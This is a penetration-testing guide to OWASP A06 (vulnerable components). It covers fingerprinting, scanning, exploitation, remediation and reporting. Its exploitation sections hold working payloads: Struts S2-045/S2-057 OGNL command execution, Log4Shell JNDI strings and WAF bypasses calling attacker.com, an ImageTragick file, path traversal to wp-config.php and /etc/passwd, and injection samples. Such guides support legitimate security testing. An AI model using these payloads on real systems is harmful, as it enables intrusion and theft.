OWASP A06:2021 - Vulnerable and Outdated Components

Overview

Vulnerable and Outdated Components refers to the use of libraries, frameworks, and other software modules that have known security vulnerabilities. Applications using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

Risk Rating

• Prevalence: Widespread

• Detectability: Average

• Impact: Medium to High

• CVSS Score Range: 2.0-10.0 (varies widely based on specific vulnerability)

Common Vulnerable Components

1. Web Application Frameworks

• Apache Struts (S2-045, S2-057, etc.)

• Spring Framework (Spring4Shell, etc.)

• Django (Various CVEs)

• Ruby on Rails (Mass assignment, etc.)

• ASP.NET (ViewState vulnerabilities)

2. JavaScript Libraries

• jQuery (XSS vulnerabilities in older versions)

• Angular.js (Sandbox bypass vulnerabilities)

• React (XSS in dangerouslySetInnerHTML)

• Node.js modules (Prototype pollution, etc.)

• Bootstrap (XSS vulnerabilities)

3. Server Components

• Apache HTTP Server (Various CVEs)

• Nginx (Buffer overflow, etc.)

• Tomcat (Remote code execution)

• IIS (Various vulnerabilities)

• PHP (Multiple vulnerabilities across versions)

4. Database Components

• MySQL (Authentication bypass, privilege escalation)

• PostgreSQL (SQL injection, privilege escalation)

• MongoDB (Authentication bypass)

• Redis (Remote code execution)

• Elasticsearch (Remote code execution)

5. Third-party Libraries

• ImageMagick (ImageTragick vulnerabilities)

• OpenSSL (Heartbleed, etc.)

• Log4j (Log4Shell - CVE-2021-44228)

• Jackson (Deserialization vulnerabilities)

• Apache Commons (Various vulnerabilities)

Penetration Testing Methodology

1. Component Discovery and Enumeration

Passive Reconnaissance

# Technology stack identification
whatweb http://target.com
wappalyzer-cli http://target.com

# Subdomain enumeration for version disclosure
amass enum -d target.com
subfinder -d target.com

# Google dorking for version information
site:target.com "powered by" OR "version" OR "v1.0"

Active Fingerprinting

# Nmap service and version detection
nmap -sV -sC -A target.com

# HTTP header analysis
curl -I http://target.com
curl -H "User-Agent: Mozilla/5.0" http://target.com | grep -i "generator\|version\|powered"

# JavaScript library detection
curl -s http://target.com | grep -oE "(jquery|angular|react|bootstrap).*\.js" | sort -u

2. Version Identification Techniques

Client-Side Component Discovery

# Extract JavaScript libraries from source
curl -s http://target.com | grep -oE "https?://[^\"']*/[^\"']*\.(js|css)" | sort -u

# Check common CDN paths
curl -s http://target.com/js/jquery.min.js | head -5
curl -s http://target.com/assets/bootstrap.min.css | head -5

# Browser-based discovery using developer tools
# Check Network tab, Sources tab, and console for version info

Server-Side Component Discovery

# Server headers
curl -I http://target.com | grep -i "server\|x-powered-by\|x-aspnet-version"

# Error pages for framework detection
curl http://target.com/nonexistent -v 2>&1 | grep -i "apache\|nginx\|tomcat"

# Application-specific endpoints
curl http://target.com/api/version
curl http://target.com/actuator/info
curl http://target.com/admin/phpinfo.php

3. Vulnerability Research and Mapping

CVE Database Searches

# Using searchsploit
searchsploit apache 2.4.49
searchsploit struts 2.5
searchsploit jquery 1.7

# Using online databases
# - CVE.org
# - NVD.nist.gov
# - Exploit-DB
# - Snyk vulnerability database

Automated Vulnerability Scanning

# Nuclei with CVE templates
nuclei -u http://target.com -t cves/

# Retire.js for JavaScript vulnerabilities
retire --outputformat json --outputpath results.json http://target.com

# Safety check for Python packages (if source available)
safety check --json

# npm audit for Node.js projects
npm audit --json

Technology-Specific Testing

1. Apache Struts Testing

# S2-045 (Content-Type vulnerability)
curl -X POST http://target.com/upload.action \
  -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
  -d "test=test"

# S2-057 (Namespace vulnerability)
curl "http://target.com/struts2-showcase/%24%7B%28%23_%3D%27multipart/[e-mail]@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext[e-mail]@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAcce[e-mail]@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirect[e-mail]@toString%28%23process.getInputStream%28%29%29%29%7D/actionChain1.action"

2. Log4j (Log4Shell) Testing

# Basic JNDI injection
curl "http://target.com/" -H "User-Agent: \${jndi:ldap://attacker.com:1389/a}"
curl "http://target.com/" -H "X-Api-Version: \${jndi:ldap://attacker.com:1389/a}"

# Common vulnerable parameters
curl "http://target.com/search?q=\${jndi:ldap://attacker.com:1389/a}"
curl -X POST "http://target.com/login" -d "username=\${jndi:ldap://attacker.com:1389/a}"

# Bypass attempts
curl "http://target.com/" -H "User-Agent: \${jndi:ldap://127.0.0.1:1389/\${hostName}}"
curl "http://target.com/" -H "User-Agent: \${\${lower:jndi}:\${lower:ldap}://attacker.com:1389/a}"

3. WordPress Plugin/Theme Vulnerabilities

# WordPress version detection
curl -s http://target.com/wp-json/wp/v2/users/
curl -s http://target.com/?rest_route=/wp/v2/users/

# Plugin enumeration
wpscan --url http://target.com --enumerate p

# Theme enumeration
wpscan --url http://target.com --enumerate t

# Vulnerable plugin exploitation
curl "http://target.com/wp-content/plugins/vulnerable-plugin/file.php?file=../../../wp-config.php"

4. Node.js/npm Package Vulnerabilities

# Package.json discovery
curl -s http://target.com/package.json
curl -s http://target.com/.well-known/package.json

# Common vulnerable packages testing
# Prototype pollution in lodash
curl -X POST http://target.com/api/user -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Path traversal in express static
curl "http://target.com/static/../../../etc/passwd"

Automated Discovery Tools

1. Component Analysis Tools

# OWASP Dependency Check
dependency-check --project "Target App" --scan /path/to/app --format JSON

# Snyk CLI
snyk test /path/to/app
snyk monitor /path/to/app

# Safety (Python packages)
pip freeze | safety check --stdin

# Bundle-audit (Ruby gems)
bundle audit check --update

# Retire.js (JavaScript libraries)
retire --js --node --outputformat json

2. Web Application Scanners

# Nuclei with technology-specific templates
nuclei -u http://target.com -t technologies/
nuclei -u http://target.com -t misconfiguration/
nuclei -u http://target.com -t cves/

# Custom nuclei template for component detection
cat > component-detection.yaml << 'EOF'
id: component-detection
info:
  name: Component Version Detection
  severity: info
requests:
  - method: GET
    path:
      - "{{BaseURL}}/js/jquery.min.js"
      - "{{BaseURL}}/assets/bootstrap.min.css"
    matchers:
      - type: regex
        regex:
          - "jQuery v([0-9.]+)"
          - "Bootstrap v([0-9.]+)"
EOF

nuclei -t component-detection.yaml -u http://target.com

3. Infrastructure Scanning

# Nmap with version detection
nmap -sV -sC --script vuln target.com

# Custom Nmap script for version detection
nmap --script http-server-header,http-methods,http-headers target.com -p 80,443

Exploitation Techniques

1. Remote Code Execution via Deserialization

# Example for Jackson deserialization vulnerability
import requests
import json

# Malicious payload for Jackson CVE-2017-7525
payload = {
    "name": {
        "@class": "java.lang.Runtime",
        "@c": "calc.exe"  # Windows example
    }
}

response = requests.post(
    "http://target.com/api/deserialize",
    json=payload,
    headers={"Content-Type": "application/json"}
)

2. File Upload Bypass via ImageMagick

# ImageTragick exploit
echo 'push graphic-context
viewbox 0 0 640 480
fill "url(https://attacker.com/image.jpg"|id")"
pop graphic-context' > exploit.mvg

# Upload the malicious file
curl -X POST -F "image=@exploit.mvg" http://target.com/upload

3. SQL Injection via Hibernate

# Hibernate HQL injection example
import requests

# Vulnerable parameter in HQL query
payload = "'; SELECT password FROM users WHERE username='admin'--"

response = requests.get(
    f"http://target.com/search?query={payload}"
)

Advanced Detection Techniques

1. GitHub Reconnaissance

# Search for package.json, requirements.txt, pom.xml files
github-search "target.com" package.json
github-search "target.com" requirements.txt
github-search "target.com" pom.xml

# Look for dependency files in repositories
git clone https://github.com/target/repo.git
find . -name "package*.json" -o -name "requirements*.txt" -o -name "pom.xml"

2. Source Code Analysis

# Extract JavaScript libraries from minified files
curl -s http://target.com/js/app.min.js | js-beautify | grep -E "(version|v[0-9])"

# Analyze webpack bundles
webpack-bundle-analyzer http://target.com/dist/bundle.js

3. API Endpoint Discovery

# Common API endpoints that might reveal versions
curl http://target.com/api/version
curl http://target.com/actuator/info
curl http://target.com/health
curl http://target.com/status
curl http://target.com/.well-known/nodeinfo

Remediation and Recommendations

1. Vulnerability Management Process

• Maintain an inventory of all components

• Monitor security advisories for components in use

• Establish a patching schedule and process

• Remove unused dependencies and features

2. Automated Dependency Scanning

# Example GitHub Actions workflow for dependency scanning
name: Security Scan
on: [push, pull_request]
jobs:
  security:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v2
    - name: Run Snyk to check for vulnerabilities
      uses: snyk/actions/node@master
      env:
        SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

3. Secure Development Practices

• Use dependency pinning with exact versions

• Regularly update dependencies

• Use tools like Dependabot or Renovate for automated updates

• Implement Software Composition Analysis (SCA) in CI/CD

Common Bypasses and Evasion

1. Version Obfuscation Bypass

# Check for version info in less obvious places
curl -s http://target.com/robots.txt | grep -i version
curl -s http://target.com/sitemap.xml | grep -i version
curl -s http://target.com | grep -oE "generator.*content=\"[^\"]*\"" 

# Check HTTP response timing for version fingerprinting
time curl -s http://target.com/nonexistent >/dev/null

2. WAF/Filter Bypass for Component Exploitation

# Encoding variations for Log4j
curl "http://target.com/" -H "User-Agent: \${jndi:\${lower:l}\${lower:d}ap://attacker.com:1389/a}"
curl "http://target.com/" -H "User-Agent: \${jndi:dns://attacker.com}"

# Multiple parameter testing
for param in User-Agent X-Forwarded-For X-Real-IP X-Api-Version Referer; do
    curl "http://target.com/" -H "$param: \${jndi:ldap://attacker.com:1389/a}"
done

Reporting Template

Finding Description

Title: Vulnerable Component - [Component Name] v[Version]
Severity: [Critical/High/Medium/Low]
CVE: [CVE-YYYY-NNNN]
CVSS Score: [X.X]

Description:
The application uses [Component Name] version [X.X.X] which contains a known security vulnerability (CVE-YYYY-NNNN) that allows [attack description].

Affected URLs:
- http://target.com/path

Evidence:
[Version detection commands and outputs]
[Proof of concept exploit if applicable]

Impact:
[Detailed explanation of potential impact]

Recommendation:
Update [Component Name] to version [X.X.X] or later to address this vulnerability.

References:
- CVE-YYYY-NNNN: [URL]
- Vendor Advisory: [URL]
- Patch Information: [URL]

Tools and Resources

Component Scanners

• OWASP Dependency Check - Multi-language dependency scanner

• Snyk - Commercial vulnerability database and scanner

• WhiteSource - Enterprise SCA solution

• Retire.js - JavaScript library vulnerability scanner

• Safety - Python package vulnerability checker

Exploitation Frameworks

• Metasploit - Framework with component-specific exploits

• ExploitDB - Database of public exploits

• Nuclei - Fast vulnerability scanner with templates

• Custom Scripts - Language-specific exploit tools

Research Resources

• CVE.org - Common vulnerabilities database

• NVD - National vulnerability database

• GitHub Security Lab - Security research and advisories

• VulnDB - Commercial vulnerability intelligence

Prevention Best Practices

1. Asset Inventory: Maintain accurate inventory of all components

2. Continuous Monitoring: Monitor for new vulnerabilities in used components

3. Automated Scanning: Integrate dependency scanning into CI/CD pipelines

4. Regular Updates: Establish regular update cycles for dependencies

5. Risk Assessment: Prioritize updates based on exploitability and impact

6. Vendor Management: Evaluate security practices of component vendors

References and Further Reading

• OWASP Dependency Check Documentation

• NIST Software Component Verification (SCV) Guidelines

• CIS Controls for Software Asset Management

• SANS Application Security Reading Room

• Component vulnerability databases and security advisories